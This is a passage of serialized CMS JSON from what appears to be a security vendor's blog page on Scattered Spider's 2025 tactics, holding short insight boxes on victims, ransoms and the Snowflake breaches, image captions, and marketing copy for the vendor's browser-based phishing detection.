":889,"data":129148,"content":129149},{"uri":83801},[129150],{"nodeType":865,"value":119800,"marks":129151,"data":129152},[],{},{"nodeType":865,"value":119804,"marks":129154,"data":129155},[],{},{"sys":129157,"__typename":5503,"content":129158,"name":129181,"title":59},{"id":122848},{"json":129159},{"nodeType":1382,"data":129160,"content":129161},{},[129162],{"nodeType":866,"data":129163,"content":129164},{},[129165,129169,129177],{"nodeType":865,"value":129166,"marks":129167,"data":129168},"With criminal hacker collectives being fluid in nature, Scattered Spider has also been associated with ",[],{},{"nodeType":889,"data":129170,"content":129171},{"uri":3488},[129172],{"nodeType":865,"value":129173,"marks":129174,"data":129176},"the Snowflake attacks",[129175],{"type":943},{},{"nodeType":865,"value":129178,"marks":129179,"data":129180}," attributed to the ShinyHunters group, which resulted in hundreds of millions of breached records from 9 public victims including AT&T, Ticketmaster, and Santander (with the full impact suggested to be around 165 organizations), monetized through ransom payments, extortion of individual victims, and resale of the data on criminal forums.",[],{},"Scattered Spider insight box 0",{"sys":129183,"__typename":5503,"content":129184,"name":129209,"title":59},{"id":122933},{"json":129185},{"nodeType":1382,"data":129186,"content":129187},{},[129188],{"nodeType":866,"data":129189,"content":129190},{},[129191,129196,129200,129205],{"nodeType":865,"value":129192,"marks":129193,"data":129195},"Caesars",[129194],{"type":926},{},{"nodeType":865,"value":129197,"marks":129198,"data":129199}," was also hit at the same time as MGM Resorts. Less is known about the Caesars attack, except that a ransom of ",[],{},{"nodeType":865,"value":129201,"marks":129202,"data":129204},"$15M",[129203],{"type":926},{},{"nodeType":865,"value":129206,"marks":129207,"data":129208}," was paid to Scattered Spider in an attempt to prevent stolen data being leaked online.",[],{},"Scattered Spider insight box 1",{"sys":129211,"__typename":1414,"type":1415,"ctaText":129212,"buttonLabel":129213,"buttonColour":1418,"buttonUrl":119812},{"id":122965},"Want to learn more from our security researchers? Watch our webinar on Scattered Spider's 2025 TTPs here. ","Stream On-Demand",{"sys":129215,"__typename":5503,"content":129216,"name":129227,"title":59},{"id":122989},{"json":129217},{"nodeType":1382,"data":129218,"content":129219},{},[129220],{"nodeType":866,"data":129221,"content":129222},{},[129223],{"nodeType":865,"value":129224,"marks":129225,"data":129226},"It's worth thinking about Scattered Spider less as a neatly identified group of individuals, but more as a pattern of activity and behaviors. For this reason, it's unlikely that arrests will have a definitive impact — the TTPs exhibited will continue to be used and refined by newcomers.  ",[],{},"Scattered Spider TTPs Insight Box 5",{"sys":129229,"__typename":5503,"content":129230,"name":129262,"title":59},{"id":123224},{"json":129231},{"nodeType":1382,"data":129232,"content":129233},{},[129234],{"nodeType":866,"data":129235,"content":129236},{},[129237,129241,129248,129252,129259],{"nodeType":865,"value":129238,"marks":129239,"data":129240},"Learn more about how Scattered Spider conducts help desk attacks ",[],{},{"nodeType":889,"data":129242,"content":129243},{"uri":53458},[129244],{"nodeType":865,"value":129245,"marks":129246,"data":129247},"in our recent blog pos",[],{},{"nodeType":865,"value":129249,"marks":129250,"data":129251},"t or by checking out ",[],{},{"nodeType":889,"data":129253,"content":129254},{"uri":119812},[129255],{"nodeType":865,"value":129256,"marks":129257,"data":129258},"our on-demand webinar — available to stream now",[],{},{"nodeType":865,"value":6719,"marks":129260,"data":129261},[],{},"Scattered Spider TTPs insight box 6",{"sys":129264,"__typename":5503,"content":129265,"name":129276,"title":59},{"id":123265},{"json":129266},{"nodeType":1382,"data":129267,"content":129268},{},[129269],{"nodeType":866,"data":129270,"content":129271},{},[129272],{"nodeType":865,"value":129273,"marks":129274,"data":129275},"Accenture, Aflac, Allstate, Ally Bank, Amica, Apple, AT&T, Athene, Audemars Piguet, Ballet Crypto, BCB Group, Bell, Bitcoin Suisse, Blockdaemon, Blockstream, Charter Communications, Chik-fil-A, Cincinnati Financial, Comcast Corporation, Core Scientific, Costco, Credit Karma, DoorDash, Fireblocks, Forbes, Gemini, Grayscale, H&R Block, Hanover Insurance, Harrow Health, Iliad, Instacart, Jackson Hewitt, Kemper, Louis Vuitton, Luno, Marsh, Mercury, Morningstar, Mutual of Omaha, Nansen, NGRAVE, New York Digital Investment Group, New York Life Insurance, News Corporation, Nike, Orange, P.F. Chang’s, Paxos, PNC Bank, Revolut, RiteAid, 7-Eleven, Singtel, Stargate Industries, Synchrony Bank, Synovus, T-Mobile, Telstra, TIAA, Transamerica, Twitter/X, UScellular, Verizon, Vodafone, WINDTRE, and Xapo Bank.",[],{},"Scattered Spider insight box 3",{"sys":129278,"__typename":5503,"content":129279,"name":129290,"title":59},{"id":123278},{"json":129280},{"nodeType":1382,"data":129281,"content":129282},{},[129283],{"nodeType":866,"data":129284,"content":129285},{},[129286],{"nodeType":865,"value":129287,"marks":129288,"data":129289},"ActiveCampaign, Ada CX, Alchemy, Asurion, Bandwith, Bird CRM, Campaign Monitor, Concentrix, Constant Contact, Corporate Tools, CTS, eClerx, Expedia Group, FalconX, FICO, Five9, Foundever, Freshworks, Genesis Trading, Givebutter, GoDaddy, HubSpot, Incode, Intercom, iQor, Iterable, Jumio, Klaviyo, LinkedIn, Mixpanel, Nuance Communications, Onfido, OnSolve, Podium, Pure Storage, Ripple, Roblox, Salesforce, Shipbob, Sinch, Socure, SPOC, Squarespace, TaskUs, TriVista, Twilio, Ulta Beauty, Upland Software, Wix, Workday, Ziff Davis, and 247[.]ai.",[],{},"Scattered Spider insight box 4",{"sys":129292,"__typename":1390,"title":129293,"caption":129294,"layoutMode":59,"file":129295},{"id":123369},"Scattered Spider image 1","Summary of Scattered Spider TTP evolution in the context of an end-to-end attack chain.",{"url":129296,"width":129297,"height":129298},"https://images.ctfassets.net/y1cdw1ablpvd/16ngVb8CXbn6jnv7CNeCs5/1d708ddda20413c228d1239f6739acae/Screenshot_2025-06-27_at_15.30.27.png",3376,1876,{"sys":129300,"__typename":1414,"type":1415,"ctaText":129301,"buttonLabel":124731,"buttonColour":1418,"buttonUrl":129302},{"id":123415},"Frustrated that phishing attacks are still so successful in 2025? Check out on-demand latest webinar where we analyze exactly why and where controls are failing.","https://pushsecurity.com/resources/phishing-2025",{"sys":129304,"__typename":1390,"title":129305,"caption":129306,"layoutMode":59,"file":129307},{"id":123474},"Scattered spider image 2","Comparing the it.com domain observed by security researchers with the us.com observed in our recent Onfido malvertising investigation.",{"url":129308,"width":1402,"height":129309},"https://images.ctfassets.net/y1cdw1ablpvd/36YNp6VD5QfqcFcB4actyT/e31cc1dad9f55d49e1d793711199a666/image1.png",791,{"sys":129311,"__typename":52243,"title":129312,"arcadeDemoUrl":129313,"playText":52246},{"id":105475},"Evilginx demo","https://demo.arcade.software/2OpOz9hyjfIu5o8KtAmI?embed",{"sys":129315,"__typename":52243,"title":129316,"arcadeDemoUrl":129317,"playText":52246},{"id":123573},"Phishing Toolkit Detection Evasion Arcade","https://demo.arcade.software/tDUPQV1Nlaralf6VQHT2?embed",{"sys":129319,"__typename":1390,"title":129320,"caption":129321,"layoutMode":59,"file":129322},{"id":123677},"Scattered spider image 3","Scattered Spider Okta phishing pages impersonating various brands",{"url":129323,"width":129324,"height":1402},"https://images.ctfassets.net/y1cdw1ablpvd/7HWejTJs8g5dtoZLK2oqg7/72e3461a28811d0b80d6322f2f93a431/image3.png",1645,{"sys":129326,"__typename":1390,"title":129327,"caption":129328,"layoutMode":59,"file":129329},{"id":123758},"Push vs Scattered Spider","Push controls mapped against Scattered Spider TTPs.",{"url":119847,"width":1402,"height":119818},{"sys":129331,"__typename":5503,"content":129332,"name":129343,"title":59},{"id":123779},{"json":129333},{"nodeType":1382,"data":129334,"content":129335},{},[129336],{"nodeType":866,"data":129337,"content":129338},{},[129339],{"nodeType":865,"value":129340,"marks":129341,"data":129342},"To detect modern, sophisticated phishing kits like those used by Scattered Spider, organizations need to be able to detect and block phishing pages in real-time. Push’s browser-based approach intercepts phishing attacks as they happen — in employee browsers. Being in the browser delivers a lot of advantages when it comes to detecting and intercepting phishing attacks. You see the live webpage that the user sees, as they see it, meaning you have much better visibility of malicious elements running on the page. It also means that you can implement real-time controls that kick in when a malicious element is detected.",[],{},"Scattered Spider insight box 2",{"sys":129345,"__typename":1390,"title":129346,"caption":129347,"layoutMode":59,"file":129348},{"id":123799},"Phishing toolkit detection","Accessing pages running malicious phishing toolkits is automatically blocked. ",{"url":129349,"width":55424,"height":129350},"https://images.ctfassets.net/y1cdw1ablpvd/3ylgW0MDCCesBjQsoqjD4P/a8bc4df9a430aca6c725f913d2bc6444/image11.png",767,{"sys":129352,"__typename":1390,"title":129353,"caption":129354,"layoutMode":59,"file":129355},{"id":123893},"Scattered spider image 4","Push detects and blocks when a password is used on a site it doesn't belong to.",{"url":129356,"width":129357,"height":90606},"https://images.ctfassets.net/y1cdw1ablpvd/3DsbAAM2GCMbyfBdENebFJ/89978c80fe97b46d2e80089b19d8cb73/image8.png",1920,{"sys":129359,"__typename":1390,"title":129360,"caption":129360,"layoutMode":59,"file":129361},{"id":123928},"Detecting stolen sessions running on attacker machines. ",{"url":129362,"width":55424,"height":129363},"https://images.ctfassets.net/y1cdw1ablpvd/3Pp4bDB2FkGlHbOEt35j0j/49a92cf3c2f805850eff23bacd43818c/image8.png",398,{"sys":129365,"__typename":1390,"title":129366,"caption":129367,"layoutMode":59,"file":129368},{"id":123970},"Detecting stolen credentials in lastpass","Push shows where stolen credentials have been used to log into an account and the source of the leak",{"url":129369,"width":129370,"height":129371},"https://images.ctfassets.net/y1cdw1ablpvd/HYlWtjgQJdjOYgjmRVMf3/2444a1804ff5c75e88884d75c8735aa8/image8.png",697,668,{"sys":129373,"__typename":1390,"title":129374,"caption":129375,"layoutMode":59,"file":129376},{"id":124016},"Scattered spider image 5","Push identifies where multiple login methods are configured for a single account, as well as when the method was last observed, to surface ghost logins.",{"url":129377,"width":1402,"height":129378},"https://images.ctfassets.net/y1cdw1ablpvd/4LigZHBdaNgpK4vXjr80Ct/5c904257035d6507eff924bff131ced9/image5.png",887,{"sys":129380,"__typename":1390,"title":78589,"caption":78590,"layoutMode":59,"file":129381},{"id":54465},{"url":78592,"width":78593,"height":78594},{"sys":129383,"__typename":1414,"type":1415,"ctaText":119860,"buttonLabel":119861,"buttonColour":1418,"buttonUrl":54493},{"id":54525},{"items":129385},[],{},"How Scattered Spider TTPs are evolving in 2025",{"url":119867},{"items":129390},[129391,129696,130396],{"__typename":1429,"sys":129392,"content":129393,"title":87659,"synopsis":115872,"hashTags":59,"publishedDate":115873,"slug":87660,"tagsCollection":129688,"authorsCollection":129692},{"id":80645},{"json":129394},{"data":129395,"content":129396,"nodeType":1382},{},[129397,129403,129409,129415,129420,129426,129456,129462,129468,129474,129479,129485,129491,129506,129511,129517,129533,129549,129555,129561,129567,129573,129579,129585,129591,129607,129613,129619,129624,129630,129636,129656,129661,129677,129682],{"data":129398,"content":129399,"nodeType":866},{},[129400],{"data":129401,"marks":129402,"value":115540,"nodeType":865},{},[],{"data":129404,"content":129405,"nodeType":866},{},[129406],{"data":129407,"marks":129408,"value":115547,"nodeType":865},{},[],{"data":129410,"content":129411,"nodeType":866},{},[129412],{"data":129413,"marks":129414,"value":115554,"nodeType":865},{},[],{"data":129416,"content":129419,"nodeType":912},{"target":129417},{"sys":129418},{"id":115559,"type":909,"linkType":910},[],{"data":129421,"content":129422,"nodeType":866},{},[129423],{"data":129424,"marks":129425,"value":115567,"nodeType":865},{},[],{"data":129427,"content":129428,"nodeType":1616},{},[129429,129438,129447],{"data":129430,"content":129431,"nodeType":1570},{},[129432],{"data":129433,"content":129434,"nodeType":866},{},[129435],{"data":129436,"marks":129437,"value":115580,"nodeType":865},{},[],{"data":129439,"content":129440,"nodeType":1570},{},[129441],{"data":129442,"content":129443,"nodeType":866},{},[129444],{"data":129445,"marks":129446,"value":115590,"nodeType":865},{},[],{"data":129448,"content":129449,"nodeType":1570},{},[129450],{"data":129451,"content":129452,"nodeType":866},{},[129453],{"data":129454,"marks":129455,"value":115600,"nodeType":865},{},[],{"data":129457,"content":129458,"nodeType":866},{},[129459],{"data":129460,"marks":129461,"value":115607,"nodeType":865},{},[],{"data":129463,"content":129464,"nodeType":981},{},[129465],{"data":129466,"marks":129467,"value":115614,"nodeType":865},{},[],{"data":129469,"content":129470,"nodeType":866},{},[129471],{"data":129472,"marks":129473,"value":115621,"nodeType":865},{},[],{"data":129475,"content":129478,"nodeType":912},{"target":129476},{"sys":129477},{"id":115626,"type":909,"linkType":910},[],{"data":129480,"content":129481,"nodeType":866},{},[129482],{"data":129483,"marks":129484,"value":115634,"nodeType":865},{},[],{"data":129486,"content":129487,"nodeType":981},{},[129488],{"data":129489,"marks":129490,"value":115641,"nodeType":865},{},[],{"data":129492,"content":129493,"nodeType":866},{},[129494,129497,129503],{"data":129495,"marks":129496,"value":115648,"nodeType":865},{},[],{"data":129498,"content":129499,"nodeType":889},{"uri":54299},[129500],{"data":129501,"marks":129502,"value":115655,"nodeType":865},{},[],{"data":129504,"marks":129505,"value":115659,"nodeType":865},{},[],{"data":129507,"content":129510,"nodeType":912},{"target":129508},{"sys":129509},{"id":54408,"type":909,"linkType":910},[],{"data":129512,"content":129513,"nodeType":1317},{},[129514],{"data":129515,"marks":129516,"value":115671,"nodeType":865},{},[],{"data":129518,"content":129519,"nodeType":866},{},[129520,129523,129530],{"data":129521,"marks":129522,"value":115678,"nodeType":865},{},[],{"data":129524,"content":129525,"nodeType":889},{"uri":115681},[129526],{"data":129527,"marks":129528,"value":115687,"nodeType":865},{},[129529],{"type":943},{"data":129531,"marks":129532,"value":115691,"nodeType":865},{},[],{"data":129534,"content":129535,"nodeType":866},{},[129536,129539,129546],{"data":129537,"marks":129538,"value":115698,"nodeType":865},{},[],{"data":129540,"content":129541,"nodeType":889},{"uri":53413},[129542],{"data":129543,"marks":129544,"value":53419,"nodeType":865},{},[129545],{"type":943},{"data":129547,"marks":129548,"value":115709,"nodeType":865},{},[],{"data":129550,"content":129551,"nodeType":866},{},[129552],{"data":129553,"marks":129554,"value":115716,"nodeType":865},{},[],{"data":129556,"content":129557,"nodeType":866},{},[129558],{"data":129559,"marks":129560,"value":115723,"nodeType":865},{},[],{"data":129562,"content":129563,"nodeType":1317},{},[129564],{"data":129565,"marks":129566,"value":115730,"nodeType":865},{},[],{"data":129568,"content":129569,"nodeType":866},{},[129570],{"data":129571,"marks":129572,"value":115737,"nodeType":865},{},[],{"data":129574,"content":129575,"nodeType":866},{},[129576],{"data":129577,"marks":129578,"value":115744,"nodeType":865},{},[],{"data":129580,"content":129581,"nodeType":981},{},[129582],{"data":129583,"marks":129584,"value":115751,"nodeType":865},{},[],{"data":129586,"content":129587,"nodeType":866},{},[129588],{"data":129589,"marks":129590,"value":115758,"nodeType":865},{},[],{"data":129592,"content":129593,"nodeType":866},{},[129594,129597,129604],{"data":129595,"marks":129596,"value":115765,"nodeType":865},{},[],{"data":129598,"content":129599,"nodeType":889},{"uri":115768},[129600],{"data":129601,"marks":129602,"value":115774,"nodeType":865},{},[129603],{"type":943},{"data":129605,"marks":129606,"value":115778,"nodeType":865},{},[],{"data":129608,"content":129609,"nodeType":866},{},[129610],{"data":129611,"marks":129612,"value":115785,"nodeType":865},{},[],{"data":129614,"content":129615,"nodeType":866},{},[129616],{"data":129617,"marks":129618,"value":115792,"nodeType":865},{},[],{"data":129620,"content":129623,"nodeType":912},{"target":129621},{"sys":129622},{"id":115797,"type":909,"linkType":910},[],{"data":129625,"content":129626,"nodeType":981},{},[129627],{"data":129628,"marks":129629,"value":54483,"nodeType":865},{},[],{"data":129631,"content":129632,"nodeType":866},{},[129633],{"data":129634,"marks":129635,"value":115811,"nodeType":865},{},[],{"data":129637,"content":129638,"nodeType":866},{},[129639,129642,129646,129649,129653],{"data":129640,"marks":129641,"value":115818,"nodeType":865},{},[],{"data":129643,"marks":129644,"value":58582,"nodeType":865},{},[129645],{"type":926},{"data":129647,"marks":129648,"value":115826,"nodeType":865},{},[],{"data":129650,"marks":129651,"value":115831,"nodeType":865},{},[129652],{"type":926},{"data":129654,"marks":129655,"value":115835,"nodeType":865},{},[],{"data":129657,"content":129660,"nodeType":912},{"target":129658},{"sys":129659},{"id":115840,"type":909,"linkType":910},[],{"data":129662,"content":129663,"nodeType":866},{},[129664,129667,129674],{"data":129665,"marks":129666,"value":115848,"nodeType":865},{},[],{"data":129668,"content":129669,"nodeType":889},{"uri":16069},[129670],{"data":129671,"marks":129672,"value":14066,"nodeType":865},{},[129673],{"type":943},{"data":129675,"marks":129676,"value":115859,"nodeType":865},{},[],{"data":129678,"content":129681,"nodeType":912},{"target":129679},{"sys":129680},{"id":115864,"type":909,"linkType":910},[],{"data":129683,"content":129684,"nodeType":866},{},[129685],{"data":129686,"marks":129687,"value":21,"nodeType":865},{},[],{"items":129689},[129690],{"sys":129691,"name":297},{"id":2310},{"items":129693},[129694],{"fullName":4614,"firstName":4615,"jobTitle":4616,"profilePicture":129695},{"url":4618},{"__typename":1429,"sys":129697,"content":129698,"title":62409,"synopsis":62410,"hashTags":59,"publishedDate":62411,"slug":62412,"tagsCollection":130388,"authorsCollection":130392},{"id":61617},{"json":129699},{"data":129700,"content":129701,"nodeType":1382},{},[129702,129707,129723,129729,129735,129740,129743,129750,129756,129772,129782,129788,129794,129800,129884,129887,129894,129969,129974,129977,129984,129991,129997,130003,130010,130026,130032,130039,130045,130051,130058,130064,130070,130086,130091,130094,130101,130108,130114,130203,130209,130216,130222,130228,130233,130240,130246,130252,130258,130265,130271,130277,130283,130289,130294,130297,130304,130310,130340,130346,130361,130377,130382],{"data":129703,"content":129706,"nodeType":912},{"target":129704},{"sys":129705},{"id":61626,"type":909,"linkType":910},[],{"data":129708,"content":129709,"nodeType":866},{},[129710,129713,129720],{"data":129711,"marks":129712,"value":61634,"nodeType":865},{},[],{"data":129714,"content":129715,"nodeType":889},{"uri":61637},[129716],{"data":129717,"marks":129718,"value":61643,"nodeType":865},{},[129719],{"type":943},{"data":129721,"marks":129722,"value":61647,"nodeType":865},{},[],{"data":129724,"content":129725,"nodeType":866},{},[129726],{"data":129727,"marks":129728,"value":61654,"nodeType":865},{},[],{"data":129730,"content":129731,"nodeType":866},{},[129732],{"data":129733,"marks":129734,"value":61661,"nodeType":865},{},[],{"data":129736,"content":129739,"nodeType":912},{"target":129737},{"sys":129738},{"id":61666,"type":909,"linkType":910},[],{"data":129741,"content":129742,"nodeType":972},{},[],{"data":129744,"content":129745,"nodeType":981},{},[129746],{"data":129747,"marks":129748,"value":61678,"nodeType":865},{},[129749],{"type":926},{"data":129751,"content":129752,"nodeType":866},{},[129753],{"data":129754,"marks":129755,"value":61685,"nodeType":865},{},[],{"data":129757,"content":129758,"nodeType":866},{},[129759,129762,129769],{"data":129760,"marks":129761,"value":61692,"nodeType":865},{},[],{"data":129763,"content":129764,"nodeType":889},{"uri":15841},[129765],{"data":129766,"marks":129767,"value":61700,"nodeType":865},{},[129768],{"type":943},{"data":129770,"marks":129771,"value":14251,"nodeType":865},{},[],{"data":129773,"content":129774,"nodeType":7584},{},[129775],{"data":129776,"content":129777,"nodeType":866},{},[129778],{"data":129779,"marks":129780,"value":61714,"nodeType":865},{},[129781],{"type":926},{"data":129783,"content":129784,"nodeType":866},{},[129785],{"data":129786,"marks":129787,"value":61721,"nodeType":865},{},[],{"data":129789,"content":129790,"nodeType":866},{},[129791],{"data":129792,"marks":129793,"value":61728,"nodeType":865},{},[],{"data":129795,"content":129796,"nodeType":866},{},[129797],{"data":129798,"marks":129799,"value":61735,"nodeType":865},{},[],{"data":129801,"content":129802,"nodeType":1616},{},[129803,129812,129821,129830,129839,129848,129857,129866,129875],{"data":129804,"content":129805,"nodeType":1570},{},[129806],{"data":129807,"content":129808,"nodeType":866},{},[129809],{"data":129810,"marks":129811,"value":61748,"nodeType":865},{},[],{"data":129813,"content":129814,"nodeType":1570},{},[129815],{"data":129816,"content":129817,"nodeType":866},{},[129818],{"data":129819,"marks":129820,"value":61758,"nodeType":865},{},[],{"data":129822,"content":129823,"nodeType":1570},{},[129824],{"data":129825,"content":129826,"nodeType":866},{},[129827],{"data":129828,"marks":129829,"value":61768,"nodeType":865},{},[],{"data":129831,"content":129832,"nodeType":1570},{},[129833],{"data":129834,"content":129835,"nodeType":866},{},[129836],{"data":129837,"marks":129838,"value":61778,"nodeType":865},{},[],{"data":129840,"content":129841,"nodeType":1570},{},[129842],{"data":129843,"content":129844,"nodeType":866},{},[129845],{"data":129846,"marks":129847,"value":61788,"nodeType":865},{},[],{"data":129849,"content":129850,"nodeType":1570},{},[129851],{"data":129852,"content":129853,"nodeType":866},{},[129854],{"data":129855,"marks":129856,"value":61798,"nodeType":865},{},[],{"data":129858,"content":129859,"nodeType":1570},{},[129860],{"data":129861,"content":129862,"nodeType":866},{},[129863],{"data":129864,"marks":129865,"value":61808,"nodeType":865},{},[],{"data":129867,"content":129868,"nodeType":1570},{},[129869],{"data":129870,"content":129871,"nodeType":866},{},[129872],{"data":129873,"marks":129874,"value":61818,"nodeType":865},{},[],{"data":129876,"content":129877,"nodeType":1570},{},[129878],{"data":129879,"content":129880,"nodeType":866},{},[129881],{"data":129882,"marks":129883,"value":61828,"nodeType":865},{},[],{"data":129885,"content":129886,"nodeType":972},{},[],{"data":129888,"content":129889,"nodeType":981},{},[129890],{"data":129891,"marks":129892,"value":61839,"nodeType":865},{},[129893],{"type":926},{"data":129895,"content":129896,"nodeType":1616},{},[129897,129906,129915,129924,129933,129942,129951,129960],{"data":129898,"content":129899,"nodeType":1570},{},[129900],{"data":129901,"content":129902,"nodeType":866},{},[129903],{"data":129904,"marks":129905,"value":61852,"nodeType":865},{},[],{"data":129907,"content":129908,"nodeType":1570},{},[129909],{"data":129910,"content":129911,"nodeType":866},{},[129912],{"data":129913,"marks":129914,"value":61862,"nodeType":865},{},[],{"data":129916,"content":129917,"nodeType":1570},{},[129918],{"data":129919,"content":129920,"nodeType":866},{},[129921],{"data":129922,"marks":129923,"value":61872,"nodeType":865},{},[],{"data":129925,"content":129926,"nodeType":1570},{},[129927],{"data":129928,"content":129929,"nodeType":866},{},[129930],{"data":129931,"marks":129932,"value":61882,"nodeType":865},{},[],{"data":129934,"content":129935,"nodeType":1570},{},[129936],{"data":129937,"content":129938,"nodeType":866},{},[129939],{"data":129940,"marks":129941,"value":61892,"nodeType":865},{},[],{"data":129943,"content":129944,"nodeType":1570},{},[129945],{"data":129946,"content":129947,"nodeType":866},{},[129948],{"data":129949,"marks":129950,"value":61902,"nodeType":865},{},[],{"data":129952,"content":129953,"nodeType":1570},{},[129954],{"data":129955,"content":129956,"nodeType":866},{},[129957],{"data":129958,"marks":129959,"value":61912,"nodeType":865},{},[],{"data":129961,"content":129962,"nodeType":1570},{},[129963],{"data":129964,"content":129965,"nodeType":866},{},[129966],{"data":129967,"marks":129968,"value":61922,"nodeType":865},{},[],{"data":129970,"content":129973,"nodeType":912},{"target":129971},{"sys":129972},{"id":61927,"type":909,"linkType":910},[],{"data":129975,"content":129976,"nodeType":972},{},[],{"data":129978,"content":129979,"nodeType":981},{},[129980],{"data":129981,"marks":129982,"value":61939,"nodeType":865},{},[129983],{"type":926},{"data":129985,"content":129986,"nodeType":1317},{},[129987],{"data":129988,"marks":129989,"value":61947,"nodeType":865},{},[129990],{"type":926},{"data":129992,"content":129993,"nodeType":866},{},[129994],{"data":129995,"marks":129996,"value":61954,"nodeType":865},{},[],{"data":129998,"content":129999,"nodeType":866},{},[130000],{"data":130001,"marks":130002,"value":61961,"nodeType":865},{},[],{"data":130004,"content":130005,"nodeType":1317},{},[130006],{"data":130007,"marks":130008,"value":61969,"nodeType":865},{},[130009],{"type":926},{"data":130011,"content":130012,"nodeType":866},{},[130013,130016,130023],{"data":130014,"marks":130015,"value":61976,"nodeType":865},{},[],{"data":130017,"content":130018,"nodeType":889},{"uri":6710},[130019],{"data":130020,"marks":130021,"value":6715,"nodeType":865},{},[130022],{"type":943},{"data":130024,"marks":130025,"value":14251,"nodeType":865},{},[],{"data":130027,"content":130028,"nodeType":866},{},[130029],{"data":130030,"marks":130031,"value":61993,"nodeType":865},{},[],{"data":130033,"content":130034,"nodeType":1317},{},[130035],{"data":130036,"marks":130037,"value":62001,"nodeType":865},{},[130038],{"type":926},{"data":130040,"content":130041,"nodeType":866},{},[130042],{"data":130043,"marks":130044,"value":62008,"nodeType":865},{},[],{"data":130046,"content":130047,"nodeType":866},{},[130048],{"data":130049,"marks":130050,"value":62015,"nodeType":865},{},[],{"data":130052,"content":130053,"nodeType":1317},{},[130054],{"data":130055,"marks":130056,"value":62023,"nodeType":865},{},[130057],{"type":926},{"data":130059,"content":130060,"nodeType":866},{},[130061],{"data":130062,"marks":130063,"value":62030,"nodeType":865},{},[],{"data":130065,"content":130066,"nodeType":866},{},[130067],{"data":130068,"marks":130069,"value":62037,"nodeType":865},{},[],{"data":130071,"content":130072,"nodeType":866},{},[130073,130076,130083],{"data":130074,"marks":130075,"value":62044,"nodeType":865},{},[],{"data":130077,"content":130078,"nodeType":889},{"uri":62047},[130079],{"data":130080,"marks":130081,"value":62053,"nodeType":865},{},[130082],{"type":943},{"data":130084,"marks":130085,"value":62057,"nodeType":865},{},[],{"data":130087,"content":130090,"nodeType":912},{"target":130088},{"sys":130089},{"id":62062,"type":909,"linkType":910},[],{"data":130092,"content":130093,"nodeType":972},{},[],{"data":130095,"content":130096,"nodeType":981},{},[130097],{"data":130098,"marks":130099,"value":62074,"nodeType":865},{},[130100],{"type":926},{"data":130102,"content":130103,"nodeType":1317},{},[130104],{"data":130105,"marks":130106,"value":62082,"nodeType":865},{},[130107],{"type":926},{"data":130109,"content":130110,"nodeType":866},{},[130111],{"data":130112,"marks":130113,"value":62089,"nodeType":865},{},[],{"data":130115,"content":130116,"nodeType":1616},{},[130117,130136,130155,130184],{"data":130118,"content":130119,"nodeType":1570},{},[130120],{"data":130121,"content":130122,"nodeType":866},{},[130123,130126,130133],{"data":130124,"marks":130125,"value":62102,"nodeType":865},{},[],{"data":130127,"content":130128,"nodeType":889},{"uri":62105},[130129],{"data":130130,"marks":130131,"value":62111,"nodeType":865},{},[130132],{"type":943},{"data":130134,"marks":130135,"value":62115,"nodeType":865},{},[],{"data":130137,"content":130138,"nodeType":1570},{},[130139],{"data":130140,"content":130141,"nodeType":866},{},[130142,130145,130152],{"data":130143,"marks":130144,"value":62125,"nodeType":865},{},[],{"data":130146,"content":130147,"nodeType":889},{"uri":6698},[130148],{"data":130149,"marks":130150,"value":62133,"nodeType":865},{},[130151],{"type":943},{"data":130153,"marks":130154,"value":1615,"nodeType":865},{},[],{"data":130156,"content":130157,"nodeType":1570},{},[130158],{"data":130159,"content":130160,"nodeType":866},{},[130161,130164,130171,130174,130181],{"data":130162,"marks":130163,"value":62146,"nodeType":865},{},[],{"data":130165,"content":130166,"nodeType":889},{"uri":6710},[130167],{"data":130168,"marks":130169,"value":62154,"nodeType":865},{},[130170],{"type":943},{"data":130172,"marks":130173,"value":62158,"nodeType":865},{},[],{"data":130175,"content":130176,"nodeType":889},{"uri":62161},[130177],{"data":130178,"marks":130179,"value":62167,"nodeType":865},{},[130180],{"type":943},{"data":130182,"marks":130183,"value":62171,"nodeType":865},{},[],{"data":130185,"content":130186,"nodeType":1570},{},[130187],{"data":130188,"content":130189,"nodeType":866},{},[130190,130193,130200],{"data":130191,"marks":130192,"value":62181,"nodeType":865},{},[],{"data":130194,"content":130195,"nodeType":889},{"uri":6698},[130196],{"data":130197,"marks":130198,"value":62189,"nodeType":865},{},[130199],{"type":943},{"data":130201,"marks":130202,"value":62193,"nodeType":865},{},[],{"data":130204,"content":130205,"nodeType":866},{},[130206],{"data":130207,"marks":130208,"value":62200,"nodeType":865},{},[],{"data":130210,"content":130211,"nodeType":1317},{},[130212],{"data":130213,"marks":130214,"value":62208,"nodeType":865},{},[130215],{"type":926},{"data":130217,"content":130218,"nodeType":866},{},[130219],{"data":130220,"marks":130221,"value":62215,"nodeType":865},{},[],{"data":130223,"content":130224,"nodeType":866},{},[130225],{"data":130226,"marks":130227,"value":62222,"nodeType":865},{},[],{"data":130229,"content":130232,"nodeType":912},{"target":130230},{"sys":130231},{"id":62227,"type":909,"linkType":910},[],{"data":130234,"content":130235,"nodeType":1317},{},[130236],{"data":130237,"marks":130238,"value":62236,"nodeType":865},{},[130239],{"type":926},{"data":130241,"content":130242,"nodeType":866},{},[130243],{"data":130244,"marks":130245,"value":62243,"nodeType":865},{},[],{"data":130247,"content":130248,"nodeType":866},{},[130249],{"data":130250,"marks":130251,"value":62250,"nodeType":865},{},[],{"data":130253,"content":130254,"nodeType":866},{},[130255],{"data":130256,"marks":130257,"value":62257,"nodeType":865},{},[],{"data":130259,"content":130260,"nodeType":1317},{},[130261],{"data":130262,"marks":130263,"value":62265,"nodeType":865},{},[130264],{"type":926},{"data":130266,"content":130267,"nodeType":866},{},[130268],{"data":130269,"marks":130270,"value":62272,"nodeType":865},{},[],{"data":130272,"content":130273,"nodeType":866},{},[130274],{"data":130275,"marks":130276,"value":62279,"nodeType":865},{},[],{"data":130278,"content":130279,"nodeType":866},{},[130280],{"data":130281,"marks":130282,"value":62286,"nodeType":865},{},[],{"data":130284,"content":130285,"nodeType":866},{},[130286],{"data":130287,"marks":130288,"value":62293,"nodeType":865},{},[],{"data":130290,"content":130293,"nodeType":912},{"target":130291},{"sys":130292},{"id":62298,"type":909,"linkType":910},[],{"data":130295,"content":130296,"nodeType":972},{},[],{"data":130298,"content":130299,"nodeType":981},{},[130300],{"data":130301,"marks":130302,"value":62310,"nodeType":865},{},[130303],{"type":926},{"data":130305,"content":130306,"nodeType":866},{},[130307],{"data":130308,"marks":130309,"value":62317,"nodeType":865},{},[],{"data":130311,"content":130312,"nodeType":1616},{},[130313,130322,130331],{"data":130314,"content":130315,"nodeType":1570},{},[130316],{"data":130317,"content":130318,"nodeType":866},{},[13